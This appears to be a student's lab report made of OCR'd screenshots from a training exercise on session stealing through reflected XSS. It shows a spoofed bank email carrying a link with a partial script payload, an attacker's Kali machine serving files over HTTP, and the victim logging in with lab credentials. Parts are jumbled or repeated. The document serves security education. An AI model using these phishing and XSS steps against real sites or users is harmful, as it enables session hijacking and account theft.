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ICS 482

11/25/2019

InfoSec Lab: Session Stealing (Remote Reflected XSS)

The collage consists of four screenshots from an InfoSec Lab environment:

- Top-Left:** A browser window showing the "Session Stealing (Remote Reflected XSS)" lab page. A terminal window is open, showing a user entering "LAB07A" and "exit". A red arrow points to the "exit" command.
- Top-Right:** A terminal window showing a list of installed packages: libgd2-xpm, dbconfig-common, libapache2-mod-php5, libmcrypt4, libl1-5, libl1-5.1.2-3.4ubuntu1, php5, php5-cli, php5-gd, php5-mcrypt, phpmyadmin, and hicolor-icon-theme.
- Bottom-Left:** A browser window showing the "Roundcube Webmail" interface. An "Insert link" dialog box is open, showing a URL being entered. A red arrow points to the "Insert link" button.
- Bottom-Right:** A terminal window showing a list of installed packages: libgd2-xpm, dbconfig-common, libapache2-mod-php5, libmcrypt4, libl1-5, libl1-5.1.2-3.4ubuntu1, php5, php5-cli, php5-gd, php5-mcrypt, phpmyadmin, and hicolor-icon-theme.

https://lab.infoseclearning.com/lab/session-stealing-remote-reflected-xss

Session Stealing (Remote Reflected XSS)

Insert link

Url: `http://urbank.com/?myusername=%3Cscript%3Ed`

Text to display: `www.UrBank.com`

Title:

Target: None

OK Cancel

APPENDING SCRIPT ELEMENT

27 Type `alice@urbank.com` inside the To field and press Send.

From: urbank@urbank.com

To: `alice@urbank.com`

Subject: Your monthly statement is available

ADDING USER AND SENDING MESSAGE

Challenge #2

BACK INFOSEC LEARNING NEXT

Final_Kali-2.0 - Internet Explorer

https://lab.infoseclearning.com/lab/console/vm-1129842/Final_Kali-2.0

Final_Kali-2.0

Applications Places Iceweasel Tue 00:59

(3) Roundcube Webmail: Inbox - Iceweasel

(3) Roundcube Webmail: URL Decoder/Encoder

https://mx.urbank.com/mail/?_task=mail&_mbox=

Most Visited Offensive Security Kali Linux Kali Docs Kali Tools Exploit-DB Aircrack-ng

roundcube

Mail Address Book Settings

Subject	From	Date	Size
Hacked	bob@urbank.com	2018-08-16 10:29	904 B
Hacked	bob@urbank.com	2018-08-16 10:28	904 B
Hacked	bob@urbank.com	2018-08-16 10:27	904 B

Select Threads Threads 1 to 3 of 3

It looks like you haven't started Iceweasel in a while. Do you want to clean it up for a fresh, like-new experience? And by the way, welcome back!

Refresh Iceweasel...

https://lab.infoseclearning.com/lab/session-stealing-remote-reflected-xss

Session Stealing (Remote Reflected XSS)

Final_Kali-2.0.0

Applications Places Terminal Sat 10:14

root@kali:~# ifconfig

```

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.1.5 netmask 255.255.255.0 broadcast 192.168.1.255
    inet6 fe80::250:56ff:fe9a:2f1d prefixlen 64 scopeid 0x20<link>
    ether 08:0d:5b:9a:2f1d txqueuelen 1000 (Ethernet)
    RX packets 3512 bytes 269542 (2.4 MiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 2779 bytes 350567 (342.3 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
    device interrupt 18 base 0x2000

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 0 (Local Loopback)
    RX packets 32 bytes 2294 (2.2 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 32 bytes 2294 (2.2 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

root@kali:~# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

```

CLOSING KALI

Challenge #3

Time remaining: 78:23 STOP

```

graph LR
    Cloud((Cloud)) --- Bob-Kali[Bob-Kali 192.168.1.5]
    Cloud --- Alice-Ubuntu[Alice-Ubuntu 10.10.4.5]
    Cloud --- WebServer[Web Server 10.10.1.112]

```

BACK INFOSEC LEARNING NEXT

https://lab.infoseclearning.com/lab/session-stealing-remote-reflected-xss

Session Stealing (Remote Reflected XSS)

support

Password

LOGGING IN

3 Click the Firefox icon and type `mx.urbank.com` into the browser's search field and press Enter.

Note: The URL will be redirected, which is seen below.

Roundcube Webmail :: Welcome

Roundcube Webma... x

https://mx.urbank.com/mail/

ACCESSING E-MAIL

Below, Alice is logging in to check her email messages.

4 Type `alice@urbank.com` into the Username field and type `password1` into the Password field and click Login.

Username `alice@urbank.com`

Final_Alice_DT_32bit - Internet Explorer

https://lab.infoseclearning.com/lab/console/vm-1129844/Final_Alice_DT_32bit

Final_Alice_DT_32bit

View Fullscreen Send Ctrl+Alt+Delete Reboot

(1) Roundcube Webmail :: Inbox - Mozilla Firefox

(1) RoundcubeWeb... x

https://mx.urbank.com/mail/?task=

Search

About

roundcube

Refresh Compose Reply Reply All Forward Delete Mark More

Inbox 1

Drafts

Sent

Junk

Trash

From `urbank@urbank.com`

Date Today 00:58

It looks like you haven't started Firefox in a while. Do you want to clean it up for a fresh, like-new experience? And by the way, welcome back!

Refresh Firefox...

Type here to search

12:01 AM 11/26/2019

https://lab.infoseclearning.com/lab/session-stealing-remote-reflected-xss

Session Stealing (Remote Reflected XSS)

Username : `Alice`

Password : `password1`

☐ Remember Me

Login

LOGGING IN

Now that she is accessing authorized webpages, everything is business as usual.

8 View the logged in user.

Mozilla Firefox

Roundcube Webma... x http://urba...uccess.php x

urbank.com/login_success.php

Login Successful, Welcome Alice

VERIFYING THE LOGGED IN USER

Challenge #4

9 Close the VM window.

Final_Alice_DT_32bit_1

View Fullscreen Send Ctrl+Alt+Delete

Mozilla Firefox

Roundcube Webma... x http://urba...uccess.php x

urbank.com/login_success.php

Final_Alice_DT_32bit - Internet Explorer

https://lab.infoseclearning.com/lab/console/vm-1129844/Final_Alice_DT_32bit

Final_Alice_DT_32bit

View Fullscreen Send Ctrl+Alt+Delete Reboot

Mozilla Firefox

Roundcube Webma... x http://urba...uccess.php x

urbank.com/login_success.php

Login Successful, Welcome Alice

It looks like you haven't started Firefox in a while. Do you want to clean it up for a fresh, like-new experience? And by the way, welcome back!

Refresh Firefox...

Type here to search

12:02 AM 11/26/2019



